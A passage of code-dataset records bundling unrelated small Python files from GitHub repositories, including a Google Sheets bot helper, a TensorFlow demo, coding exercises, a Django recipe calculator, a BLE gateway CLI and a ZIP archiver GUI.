column_values = worksheet.get_col(3)\n\n # Extract links from the column values\n links = [value for value in column_values if value != '']\n \n return links\n\n\ndef initialize_conversation(title, price, ad_link, conv_id):\n # Authenticate using service account credentials\n gc = pygsheets.authorize(service_file=key_json)\n # Convert the list of links into a single column\n \n # Open the Google Sheet by name\n sheet = gc.open('Loop browser bot — iphones db')\n # Select the first worksheet in the Google Sheet\n worksheet = sheet.worksheet_by_title('Dialogs')\n print('inside')\n if find_row_number(ad_link, worksheet) is None:\n print('inside if')\n now = datetime.now()\n epoch = datetime(1899, 12, 30)\n delta = now - epoch\n current_time = delta.days + (delta.seconds / 86400)\n \n conv_link = f'https://www.kufar.by/account/messaging/{conv_id}'\n values_to_insert = [[title, price, 'Сообщение отправлено', current_time, '', '', ad_link, conv_link]]\n \n last_row = worksheet.get_col(1, include_empty=False)\n # get the index of the first empty row\n last_row_index = len(last_row)\n \n print('before insert')\n worksheet.insert_rows(row=last_row_index, values=values_to_insert)\n print('after insert')\n print('outside')\n\n\ndef got_answer(ad_link, preview, time_received_str):\n # Authenticate using service account credentials\n gc = pygsheets.authorize(service_file=key_json)\n # Convert the list of links into a single column\n \n # Open the Google Sheet by name\n sheet = gc.open('Loop browser bot — iphones db')\n # Select the first worksheet in the Google Sheet\n worksheet = sheet.worksheet_by_title('Dialogs')\n \n row_number = find_row_number(ad_link, worksheet)\n \n if row_number is not None:\n now = datetime.strptime(time_received_str, \"%Y-%m-%dT%H:%M:%SZ\") + timedelta(hours=3)\n epoch = datetime(1899, 12, 30)\n delta = now - epoch\n time_received = delta.days + (delta.seconds / 86400)\n\n time_col_index = 5\n worksheet.update_value((row_number, time_col_index), time_received)\n \n preview_col_index = 6\n worksheet.update_value((row_number, preview_col_index), preview)\n \n status_col_index = 3\n worksheet.update_value((row_number, status_col_index), 'Получен ответ')\n\n\ndef get_model_memory_price_list():\n # Authenticate using service account credentials\n gc = pygsheets.authorize(service_file=key_json)\n # Convert the list of links into a single column\n \n # Open the Google Sheet by name\n sheet = gc.open('Loop browser bot — iphones db')\n # Select the first worksheet in the Google Sheet\n worksheet = sheet.worksheet_by_title('All_models')\n \n all_values = worksheet.get_values(start='A2', end=None, include_empty=False)\n \n # Extract the first three columns\n first_three_columns = [row[:3] for row in all_values]\n return first_three_columns\n\n\ndef get_ad_links_with_empty_answer():\n # Authenticate using service account credentials\n gc = pygsheets.authorize(service_file=key_json)\n # Convert the list of links into a single column\n \n # Open the Google Sheet by name\n sheet = gc.open('Loop browser bot — iphones db')\n # Select the first worksheet in the Google Sheet\n worksheet = sheet.worksheet_by_title('Dialogs')\n \n all_values = worksheet.get_values(start='A2', end=None, include_empty=False)\n \n ad_links_with_empty_answers = list()\n \n for row in all_values:\n if row[4] == '':\n ad_links_with_empty_answers.append(row[6])\n \n return ad_links_with_empty_answers\n\n\nif __name__ == '__main__':\n pass\n # initialize_conversation('edvbwrbw wvwvgfqwe', 4, 'https://www.kufar.by/account/messaging/8e8', 563463463)\n # got_answer(5, 'ff', '2023-08-30T11:49:03Z')\n #\n # print(get_list_of_iphone_links('xr'))\n # get_links_with_empty_answer()","repo_name":"cyber-tatarin/loop_browser_bot","sub_path":"gsheets.py","file_name":"gsheets.py","file_ext":"py","file_size_in_byte":6246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"2251138963","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-)\n\nimport tensorflow as tf\n\na = tf.constant([1.0, 2.0], dtype=tf.float32, name = 'a')\nb = tf.constant([3.0, 4.0], dtype=tf.float32, name = 'b')\n\nc = a + b\nwith tf.Session() as sess:\n with tf.name_scope(\"add\"):\n tf.summary.histogram('c', c)\n \n summary_op = tf.summary.merge_all()\n summary_writer = tf.summary.FileWriter('./log/', tf.get_default_graph())\n \n c, summary = sess.run([c, summary_op])\n summary_writer.add_summary(summary, 0)\n\n print(tf.get_default_graph())\n print(a.graph)\n print(b.graph)\n\n","repo_name":"berli/facenet-vs-vggface","sub_path":"tf_add_tb.py","file_name":"tf_add_tb.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"17126220100","text":"\"\"\"\nAuthor: ByronVon\nDate: 2023-08-09 16:12:54\nFilePath: /leetcode/面试/test2.py\nDescription: \n\"\"\"\n\"\"\"\nAuthor: ByronVon\nDate: 2023-08-09 16:12:54\nFilePath: /leetcode/面试/test2.py\nDescription: \n\"\"\"\n# 用torch实现self-attention\n\nimport torch.nn as nn\n\n\nclass ScaledDotProductionAttention(nn.Module):\n def __init__(self):\n self.softmax = nn.Softmax(dim=-1)\n\n def forward(self, q, k, v, mask):\n # 只要保证tensor的维度一样即可\n # 若QKV不一致,则用head控制维度\n batch, head, max_len, d_tensor = k.size()\n\n k = k.transpose(2, 3)\n d_k = d_model**0.5\n\n # 计算Q和K的转置\n score = q @ k / d_k # [batch, head, max_len, max_len]\n\n if mask is not None:\n score = score.masked_fill(mask == 0, -100)\n score = self.softmax(score)\n # 和V进行相乘\n v = score @ v\n return v\n","repo_name":"RoacherM/leetcodes","sub_path":"interview/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11220166391","text":"# Sort an array in one swap whose two elements are swapped\n\n# [3, 8, 6, 7, 5, 9]\n\ndef sort_with_one_swap(nums):\n x, y = -1, -1\n prev = nums[0]\n\n for i in range(1, len(nums)):\n if nums[i] < prev:\n if x == -1:\n x = i - 1\n y = i\n else:\n y = i\n\n prev = nums[i]\n\n nums[x], nums[y] = nums[y], nums[x]\n\n return nums\n\n\nif __name__ == '__main__':\n print(sort_with_one_swap([3, 8, 6, 7, 5, 9]))","repo_name":"Chachanidze29/RoadmapPy","sub_path":"src/array/sort_with_one_swap.py","file_name":"sort_with_one_swap.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30238614503","text":"import os\n\nfrom dostoevsky.tokenization import UDBaselineTokenizer\nfrom dostoevsky.word_vectors import SocialNetworkWordVectores\nfrom dostoevsky.models import SocialNetworkModel\nfrom dostoevsky.data import DataDownloader, DATA_BASE_PATH, AVAILABLE_FILES\n\n\nMODEL = None\n\n\ndef init_dostoevsky():\n global MODEL\n\n downloader = DataDownloader()\n for filename in ['vk-embeddings', 'cnn-social-network-model']:\n source, destination = AVAILABLE_FILES[filename]\n destination_path = os.path.join(DATA_BASE_PATH, destination)\n if os.path.exists(destination_path):\n continue\n downloader.download(source=source, destination=destination)\n\n tokenizer = UDBaselineTokenizer()\n word_vectors_container = SocialNetworkWordVectores()\n\n MODEL = SocialNetworkModel(\n tokenizer=tokenizer,\n word_vectors_container=word_vectors_container,\n lemmatize=False,\n )\n\n\ndef sentiment_analysis(message):\n result = MODEL.predict([message])[0]\n if result == 'negative':\n return -1.\n elif result == 'positive':\n return 1.\n else:\n return 0.\n","repo_name":"rrader/chatemotions","sub_path":"chatmotions/sentiment.py","file_name":"sentiment.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"40247733280","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCarlos Octavio Ordaz Bernal\r\n158525\r\nVisión por Computadora\r\n29 de enero de 2019\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom skimage import io\r\n\r\n#Funcion que escala la imagen\r\nfrom skimage.transform import resize\r\ndef escala(img):\r\n return resize(img, (200, 200))\r\n\r\n#Funcion que convierte una matriz en cuadrada\r\ndef haceCuadrada(matriz):\r\n m, n = matriz.shape\r\n mayor = max(m, n)\r\n cuadrada = np.zeros((mayor, mayor))\r\n for i in range(m):\r\n for j in range(n):\r\n cuadrada[i][j] = cuadrada[i][j] + matriz[i][j]\r\n return cuadrada\r\n#Funcion que hace la convolucion de una imagen con un kernel\r\ndef convolucion(imagen, kernel):\r\n m, n = kernel.shape\r\n if m != n:\r\n kernel = haceCuadrada(kernel)\r\n #No me funciona usar la siguiente linea, marca error en parametros ?\r\n #kernel = np.flip(kernel)\r\n kernel = np.flip(kernel,0)\r\n kernel = np.flip(kernel,1)\r\n y, x = imagen.shape\r\n m = m//2\r\n n = n//2\r\n convolucionada = np.zeros((y,x))\r\n for i in range(m, y-m):\r\n for j in range(n, x-n):\r\n suma = 0\r\n for k in range(kernel.shape[0]):\r\n for l in range(kernel.shape[1]):\r\n suma = suma + kernel[k][l] * imagen[i-m+k][j-n+l]\r\n convolucionada[i][j] = suma\r\n convolucionada[convolucionada <= 0] = 0\r\n return convolucionada\r\n\r\n#Funcion que devuelve la cantidad de veces que se aplica el kernel de 5x5 para obtener std < 0.1\r\ndef cuantasVeces(imagen, kernel):\r\n convo = convolucion(imagen, kernel)\r\n cuenta = 0\r\n while np.std(convo) >= 0.1:\r\n convo = convolucion(convo, kernel)\r\n cuenta = cuenta + 1\r\n print(np.std(convo),'\\t',cuenta)\r\n return cuenta\r\n\r\n#Muestra la imagen original\r\nimg = io.imread('Lena-grayscale.jpg')\r\nplt.figure()\r\nio.imshow(img)\r\nplt.axis('off')\r\nplt.title('Imagen original')\r\nplt.show()\r\n\r\n#Muestra la imagen escalada a 200x200 px\r\nimg = escala(img)\r\nplt.figure()\r\nio.imshow(img)\r\nplt.title('Imagen escalada a 200x200px')\r\nplt.axis('off')\r\nplt.show()\r\nprint('El tamaño de la imagen es: ', img.shape)\r\nprint('La intensidad minima es: ', img.min())\r\nprint('La intensidad maxima es: ', img.max())\r\n\r\n#Mascara con valores booleanos\r\nvalor = img.max()*0.8\r\nmascara = img > valor\r\ncopiaImg = np.zeros((200,200))\r\ncopiaImg[img > valor] = img[img > valor]\r\nplt.figure()\r\nio.imshow(copiaImg)\r\nplt.axis('off')\r\nplt.title('Imagen con pixeles cuya intensidad sea mayor a 0.8')\r\nplt.show()\r\n\r\n#Convolucion con kernel 3x3\r\nk = np.array([[-1, -1, -1],[2, 2, 2],[-1, -1, -1]])\r\nconvo = convolucion(img, k)\r\n#print('El tamaño de la imagen es: ', convo.shape)\r\nplt.figure()\r\nplt.imshow(convo, cmap=plt.cm.gray)\r\nplt.title('Convolucion con kernel de 3x3')\r\nplt.axis('off')\r\nplt.show()\r\n\r\n#Convolucion con kernel 3x3 transpuesto\r\nk = k.transpose()\r\nconvo = convolucion(img, k)\r\nplt.figure()\r\nplt.imshow(convo, cmap=plt.cm.gray)\r\nplt.title('Convolucion con kernel de 3x3 transpuesto')\r\nplt.axis('off')\r\nplt.show()\r\n\r\n#Convolucion con kernel de 5x5 una vez\r\nk = 1/256 * np.array([[1,4,6,4,1],[4,16,24,16,4],[6,24,36,24,6],[4,16,24,16,4],[1,4,6,4,1]])\r\nconvoUna = convolucion(img, k)\r\nplt.figure()\r\nplt.imshow(convoUna, cmap=plt.cm.gray)\r\nplt.title('Convolucion con kernel de 5x5 una vez')\r\nplt.axis('off')\r\nplt.show()\r\n\r\n#Convolucion con kernel de 5x5 cuatro veces consecutivas \r\nconvo = convolucion(img, k)\r\nconvo = convolucion(convo, k)\r\nconvo = convolucion(convo, k)\r\nconvoCuatro = convolucion(convo, k)\r\nplt.figure()\r\nplt.imshow(convoCuatro, cmap=plt.cm.gray)\r\nplt.title('Convolucion con kernel de 5x5 cuatro veces consecutivas')\r\nplt.axis('off')\r\nplt.show()\r\n\r\n#Cantidad de veces que se aplica el kernel de 5x5 para obtener std < 0.1\r\n#res = cuantasVeces(img, k)\r\n#print('Se necesito aplicar ', res, ' veces la convolucion')\r\n#En total fueron 3282 veces\r\n\r\n#Convolucion con un kernel de 3x3 y la imagen ya con kernel Gaussiano\r\nk = np.array([[-1, -1, -1],[2, 2, 2],[-1, -1, -1]])\r\nconvo = convolucion(convoUna, k)\r\nplt.figure()\r\nplt.imshow(convo, cmap=plt.cm.gray)\r\nplt.title('Convolucion con kernel de 3x3 sobre la imagen convolucionada una vez')\r\nplt.axis('off')\r\nplt.show()\r\n\r\n#Convolucion con un kernel de 3x3 y la imagen con cuatro kernel Gaussiano\r\nconvo = convolucion(convoCuatro, k)\r\nplt.figure()\r\nplt.imshow(convo, cmap=plt.cm.gray)\r\nplt.title('Convolucion con kernel de 3x3 sobre la imagen convolucionada cuatro veces')\r\nplt.axis('off')\r\nplt.show()\r\n\r\n#Resta de la imagen convolucionada cuatro veces con kernel 3x3 y la original\r\nk = k.transpose()\r\nconvo = convolucion(img, k)\r\nconvo = convolucion(convo, k)\r\nconvo = convolucion(convo, k)\r\nconvo = convolucion(convo, k)\r\nresta = convo - img\r\nplt.figure()\r\nplt.imshow(resta, cmap=plt.cm.gray)\r\nplt.title('Resta de la imagen convolucionada cuatro veces con kernel 3x3 y la original')\r\nplt.axis('off')\r\nplt.show()","repo_name":"ordaz13/VC_GIT","sub_path":"practica1_158525.py","file_name":"practica1_158525.py","file_ext":"py","file_size_in_byte":4903,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"18458881154","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def middleNode(self, head: Optional[ListNode]) -> Optional[ListNode]:\n num_list = []\n while head != None:\n num_list.append(head.val)\n head = head.next\n \n mid = (len(num_list) // 2)\n \n root = ListNode()\n curr = root\n for index, n in enumerate(num_list[mid:]):\n curr.val = n\n if(index == len(num_list[mid:])-1 ):\n break\n curr.next = ListNode()\n curr = curr.next\n \n return root","repo_name":"hoonzinope/algorithm_study","sub_path":"leetcode/Middle of the Linked List/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"39717959136","text":"from e3nn.o3 import ReducedTensorProducts as rtp\nfrom time import time\n\n\ndef timing(func, n, *args, **kwargs):\n tot = 0\n for _ in range(n):\n t = time()\n func(*args, **kwargs)\n tot += time() - t\n return tot / n\n\n\ndef time_rtp(formula, n, **irreps):\n return timing(rtp, n, formula, **irreps)\n\n\nif __name__ == \"__main__\":\n print(time_rtp(\"ijk=jik=jki\", 10, i=\"0e+1o\"))","repo_name":"songk42/e3nn","sub_path":"speed_test.py","file_name":"speed_test.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"62"} +{"seq_id":"41833840507","text":"#!/usr/bin/python3\n\"\"\"Define a class Square.\"\"\"\n\n\nclass Square:\n \"\"\"Represent a square.\"\"\"\n\n def __init__(self, size=0, position=(0, 0)):\n \"\"\"The square itself.\n\n Args:\n size (int): The size of the new square.\n position (tuple): Coordenates where the square is about to be placed.\n \"\"\"\n if type(size) is not int:\n raise TypeError(\"size must be an integer\")\n elif size < 0:\n raise ValueError(\"size must be >= 0\")\n self.__size = size\n self.__position = position\n\n @property\n def size(self):\n \"\"\"Getter & Setter for the size value of the square.\"\"\"\n return self.__size\n\n @size.setter\n def size(self, value):\n \"\"\"Getter & Setter for the size value of the square.\"\"\"\n if type(value) is not int:\n raise TypeError(\"size must be an integer\")\n elif value < 0:\n raise ValueError(\"size must be >= 0\")\n self.__size = value\n \n @property\n def position(self):\n \"\"\"Getter & Setter for the position value of the square.\"\"\"\n return self.__position\n \n @position.setter\n def position(self, value):\n \"\"\"Getter & Setter for the position value of the square.\"\"\"\n if type(value) is not tuple or len(value) != 2 or not all(type(element) is int for element in value) or not all(element >= 0 for element in value):\n raise TypeError(\"position must be a tuple of 2 positive integers\")\n self.__position = value\n \n def area(self):\n \"\"\"Returns the area of the square\"\"\"\n return self.__size**2\n\n def my_print(self):\n \"\"\"Printing a square with \"#\" depending the value: (size) and the value: (position)\"\"\"\n if self.size == 0:\n print(\"\")\n for i in range(self.position[1]):\n print(\"\")\n for rows in range(self.size):\n for spaces in range(self.position[0]):\n print(\" \", end = \"\")\n for hashtag in range(1):\n print(\"#\" * self.size)\n\n","repo_name":"Planisph3r3/holbertonschool-higher_level_programming","sub_path":"python-classes/6-square.py","file_name":"6-square.py","file_ext":"py","file_size_in_byte":2060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11632123909","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\n\nDATA = {\n 'omlet': {\n 'яйца, шт': 2,\n 'молоко, л': 0.1,\n 'соль, ч.л.': 0.5,\n },\n 'pasta': {\n 'макароны, г': 0.3,\n 'сыр, г': 0.05,\n },\n 'buter': {\n 'хлеб, ломтик': 1,\n 'колбаса, ломтик': 1,\n 'сыр, ломтик': 1,\n 'помидор, ломтик': 1,\n },\n # можете добавить свои рецепты ;)\n}\n\ndef omlet(request):\n servings = int(request.GET.get(\"servings\", 1))\n if servings == 1:\n print(DATA[\"omlet\"])\n return HttpResponse(str(DATA[\"omlet\"]))\n elif servings <= 0:\n return HttpResponse(\"Указано неверное количество\")\n else:\n omlet_servings = {}\n for ingredient, quantity in DATA[\"omlet\"].items():\n omlet_servings[f\"{ingredient}\"] = quantity * servings\n print(omlet_servings)\n return HttpResponse(str(omlet_servings))\n\ndef pasta(request):\n servings = int(request.GET.get(\"servings\", 1))\n if servings == 1:\n return HttpResponse(str(DATA[\"pasta\"]))\n elif servings <= 0:\n return HttpResponse(\"Указано неверное количество\")\n else:\n pasta_servings = {}\n for ingredient, quantity in DATA[\"pasta\"].items():\n pasta_servings[f\"{ingredient}\"] = quantity * servings\n return HttpResponse(str(pasta_servings))\n\ndef buter(request):\n servings = int(request.GET.get(\"servings\", 1))\n if servings == 1:\n return HttpResponse(str(DATA[\"buter\"]))\n elif servings <= 0:\n return HttpResponse(\"Указано неверное количество\")\n else:\n buter_servings = {}\n for ingredient, quantity in DATA[\"buter\"].items():\n buter_servings[f\"{ingredient}\"] = quantity * servings\n return HttpResponse(str(buter_servings))\n\n","repo_name":"DaryaEvl/django_2project","sub_path":"recipes/calculator/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"3492054723","text":"import asyncio\nfrom os import name\nfrom pathlib import Path\n\nimport typer\nfrom bleak import BleakScanner\n\nfrom up_goer.cfg import cfg\nfrom up_goer.computer.computer import Computer\nfrom up_goer.gateway.gateway import Gateway\nfrom up_goer.logger.logger import Logger\nfrom up_goer.server_logger.server_logger import ServerLogger\nfrom up_goer.spammer.spammer import Spammer\n\napp = typer.Typer()\ngateway = typer.Typer()\napp.add_typer(gateway, name=\"gateway\")\n\n\nasync def _discover():\n devices = await BleakScanner.discover()\n for d in devices:\n print(d)\n\n\n@app.command()\ndef discover():\n asyncio.run(_discover())\n\n\n@gateway.command(name=\"all\")\ndef gateway_all():\n gateway = Gateway([cfg.TAG_ADDRESS_1, cfg.TAG_ADDRESS_2, cfg.TAG_ADDRESS_3])\n asyncio.run(gateway.main())\n\n\n@gateway.command(name=\"single\")\ndef gateway_single(address: str):\n gateway = Gateway([address])\n asyncio.run(gateway.main())\n\n\n@app.command()\ndef computer():\n computer = Computer()\n computer.gateway_subscriber.loop_forever()\n\n\n@app.command()\ndef generate_csv(filename: Path):\n logger = Logger(filename)\n logger.computer_subscriber.loop_forever()\n\n\n@app.command()\ndef spam_server(filename: Path):\n spammer = Spammer()\n spammer.blast(filename)\n\n\n@app.command()\ndef observe_server():\n observer = ServerLogger()\n observer.server_subscriber.loop_forever()\n\n\nif __name__ == \"__main__\":\n app()\n","repo_name":"SimBowen/CS3237_Group23","sub_path":"up_goer/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":1410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"26340005968","text":"from django.urls import path\nfrom . import views\n\n\napp_name='records'\nurlpatterns = [\n\tpath('', views.RecordList.as_view(), name='all'), \n\tpath('new/', views.CreateRecord.as_view(), name='create'),\n\tpath(\"by///\",views.RecordDetail.as_view(),name=\"single\"),\n\tpath(\"delete//\",views.DeleteRecord.as_view(),name=\"delete\"),\n]","repo_name":"CheolRyu/workspace","sub_path":"pwa/apps/records/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"72929463946","text":"\"\"\"\nbfs + brute force\n통과\n\"\"\"\nfrom sys import stdin\nfrom collections import defaultdict, deque\ninput = lambda: stdin.readline().rstrip()\n\n\ndef bfs(x: int, y: int) -> int:\n dq = deque([(0, x), (0, y)])\n visit = [False] * (N + 1)\n visit[x], visit[y] = True, True\n\n res = 0\n while dq:\n dist, node = dq.popleft()\n for next in graph[node]:\n if not visit[next]:\n visit[next] = True\n res += dist + 1\n dq.append((dist + 1, next))\n return res * 2\n\n\nif __name__ == \"__main__\":\n N, M = map(int, input().split())\n graph = defaultdict(list)\n for _ in range(M):\n a, b = map(int, input().split())\n graph[a].append(b)\n graph[b].append(a)\n\n res = [0, 0, 100000]\n for i in range(1, N):\n for j in range(i + 1, N + 1):\n temp = bfs(i, j)\n if temp < res[2]:\n res = [i, j, temp]\n print(*res)\n","repo_name":"boorooksus/Algorithm-Study","sub_path":"백준/CH11_Brute Force/G5-21278-Chicken_Restaruant.py","file_name":"G5-21278-Chicken_Restaruant.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"30884123609","text":"#使用http/https下載\n#python requests\n#linux curl wget\nimport requests,sys\n\nyearlist={}\neach_year_avg_rain={}\neach_year_max_tmp={}\neach_year_min_tmp={}\n\ndef get_data(url):\n response=requests.get(url)\n return response.text\n\ndef clear_data(content:str):\n lines=content.split(\"\\r\\n\")[7:]\n for line in lines:\n extract(line)\n\ndef calculate():\n for year in yearlist.keys():\n months=yearlist[year]\n max_temp=max([float(month[1]) for month in months])\n min_temp=min([float(month[2]) for month in months])\n rains=[float(month[4]) for month in months]\n avg_rains=round(sum(rains)/len(rains),2)\n each_year_avg_rain[year]=avg_rains\n each_year_max_tmp[year]=max_temp\n each_year_min_tmp[year]=min_temp\n\ndef get_detail(line):\n fields=[x for x in line.split(\" \") if x][0:7]\n year,month,max,min,af,rain,sun= tuple(fields)\n return year,month,max,min,af,rain,sun\n\ndef extract(line):\n global yearlist\n year,month,max,min,af,rain,sun= get_detail(line)\n if year not in yearlist:\n yearlist[year]=[[month,max,min,af,rain,sun]]\n else:\n yearlist[year].append([month,max,min,af,rain,sun])\n\ndef main():\n data=get_data(\"http://www.metoffice.gov.uk/pub/data/weather/uk/climate/stationdata/heathrowdata.txt\")\n clear_data(data)\n calculate()\n print(each_year_avg_rain)\n print(each_year_max_tmp)\n print(each_year_min_tmp)\n\nif __name__ == '__main__':\n main()\n\n\n\n","repo_name":"shih-chia-yang/tdd-practice","sub_path":"python/python-practice/src/noaa/https_download.py","file_name":"https_download.py","file_ext":"py","file_size_in_byte":1470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"3586525381","text":"from django.urls import include, path\nfrom rest_framework import routers\nfrom dotenv import load_dotenv\n\nfrom api import views\nfrom tasks import modbus_read_loop\n\nload_dotenv()\nmodbus_read_loop.delay()\n\nrouter = routers.DefaultRouter()\nrouter.register(\"users\", views.UserViewSet)\nrouter.register(\"groups\", views.GroupViewSet)\nrouter.register(\"devices\", views.DeviceViewSet)\nrouter.register(\"sensors\", views.SensorViewSet)\nrouter.register(\"history\", views.SensorHistoryViewSet)\nrouter.register(\"owners\", views.OwnerViewSet)\n\nurlpatterns = [\n path('', include(router.urls)),\n]\n","repo_name":"vvitoL/smart_home_backend","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"22215286571","text":"import torch.nn as nn\n\n\nclass DWConv(nn.Module):\n \"\"\"\n Depth Wise Convolution\n\n Parameters\n -----------\n dim: int\n Dimension of the input tensor\n kernel_size_dwconv: int,optional\n Size of the convolution kernel, default is 3\n stride_dwconv: int\n Stride of the convolution, default is 1\n padding_dwconv: int or tuple or str\n Padding added to all sides of the input, default is 1\n bias_dwconv:bool\n Whether to add learnable bias to the output,default is ``True``.\n\n \"\"\"\n\n def __init__(\n self,\n dim,\n kernel_size_dwconv=3,\n stride_dwconv=1,\n padding_dwconv=1,\n bias_dwconv=True,\n ):\n super(DWConv, self).__init__()\n self.dwconv = nn.Conv2d(\n dim,\n dim,\n kernel_size=kernel_size_dwconv,\n stride=stride_dwconv,\n padding=padding_dwconv,\n bias=bias_dwconv,\n groups=dim,\n )\n\n def forward(self, x, H, W):\n \"\"\"\n\n Parameters\n -----------\n x: torch.Tensor\n Input tensor\n H: int\n Height of image patch\n W: int\n Width of image patch\n\n Returns\n --------\n torch.Tensor\n Returns output tensor after performing depth-wise convolution operation\n\n \"\"\"\n\n B, N, C = x.shape\n x = x.transpose(1, 2).view(B, C, H, W)\n x = self.dwconv(x)\n\n x = x.flatten(2).transpose(1, 2)\n return x\n","repo_name":"SforAiDl/vformer","sub_path":"vformer/common/blocks.py","file_name":"blocks.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":158,"dataset":"github-code","pt":"81"} +{"seq_id":"73447049226","text":"import psutil as ps\n\n\ndef get_kekw():\n res = {}\n kekw = ps.users()\n for users, value in kekw.items():\n res[users] = {\n \"users\": value.users,\n \"terminal\": value.terminal,\n }\n return res\n\n\ndef show(**kwargs):\n kekw_template = (\n \"users: {0:>30} \\n\"\n \"terminal: {terminal:>20} \\n\"\n )\n\n\n kekw_info_str = \"\"\n for users, value in kwargs[\"kekw\"].items():\n kekw_info_str += kekw_template.format(users, **value)\n print(kekw_info_str)\n\ndef main():\n kekw_data = get_kekw()\n show(\n kekw = kekw_data,\n\n )\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"amelyanchuki/app","sub_path":"test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"27311663725","text":"import logging\nimport logging.config\n\nimport model.log_config\n\nlog_config = model.log_config.LogConfig()\nprint(log_config.factory())\nlogging.config.dictConfig(log_config.factory())\na = logging.getLogger(\"a\")\na.info(\"info\")\na.error(\"error\")\na.critical(\"critical\")\na.debug(\"debug\")\na.warning(\"warning\")\n","repo_name":"SagumeSweet/AnimeSystem","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"3430115421","text":"import os\nimport PySimpleGUI as sg\nimport zipfile\nfrom tkinter import *\nfrom tkinter.filedialog import askopenfilename\n\nclass ZIPFile:\n pathFile = \"\"\n def readArhive(self):\n try:\n with zipfile.ZipFile(self.pathFile, 'r') as zip:\n print('Содержимое архива:')\n zip.printdir()\n except BaseException:\n sg.popup_error(\"Архива нет\")\n\n def arhive(self):\n with zipfile.ZipFile(self.pathFile, 'w') as zip:\n Tk().withdraw() \n filename = askopenfilename()\n try:\n zip.write(filename, os.path.basename(filename))\n os.remove(filename)\n except BaseException:\n sg.popup_error(\"Не выбран файл для архивации\")\n return\n print('Архивация. Данные об архиве:')\n print(os.stat(self.pathFile))\n print('Содержимое архива:')\n zip.printdir()\n\n def notArhive(self):\n if (zipfile.is_zipfile(self.pathFile)):\n zip = zipfile.ZipFile(self.pathFile, 'r')\n print('Разархивация. Данные о файле:')\n for file_info in zip.infolist(): \n print(file_info.filename, file_info.date_time, file_info.file_size)\n zip.extract(file_info.filename.split('\\\\')[0])\n zip.close()\n else:\n sg.popup_error(\"Это не архив\")\n\n def deleteZip(self):\n os.remove(self.pathFile)\n sg.popup_ok(\"Архив удален\")\n\nfileZIP = ZIPFile()\n\ndef openZIP():\n layout = [\n [sg.Text('Работа с ZIP')],\n [sg.Text('Архив:'), sg.InputText(key = \"zip_path\"), sg.Button('Удалить архив', key = 'delete_button')],\n [sg.Button('Прочитать архив', key = 'readArhive_button')],\n [sg.Button('Архивировать', key = 'arhive_button')],\n [sg.Button('Разархивировать', key = 'notarhive_button')],\n [sg.Output(size=(72, 15), key='file_output')]\n ]\n window = sg.Window('ZIP', layout, modal=True)\n while True: \n event, values = window.read()\n if event in (None, 'Exit', 'Выход'):\n break\n\n if event == 'delete_button':\n window['file_output'].update('')\n fileZIP.pathFile = values['zip_path']\n try:\n fileZIP.deleteZip()\n window['zip_path']('')\n except BaseException:\n sg.popup_error(\"Такого архива нет\")\n\n if event == 'readArhive_button':\n window['file_output'].update('')\n if not values['zip_path'].strip():\n sg.popup_error(\"Нет пути к архиву\")\n else:\n fileZIP.pathFile = values['zip_path']\n values['file_output'] = fileZIP.readArhive()\n \n if event == 'arhive_button':\n window['file_output'].update('')\n if not values['zip_path'].strip():\n sg.popup_error(\"Нет пути к архиву\")\n else:\n fileZIP.pathFile = values['zip_path']\n values['file_output'] = fileZIP.arhive()\n\n if event == 'notarhive_button':\n window['file_output'].update('')\n if not values['zip_path'].strip():\n sg.popup_error(\"Нет пути к архиву\")\n else:\n fileZIP.pathFile = values['zip_path']\n values['file_output'] = 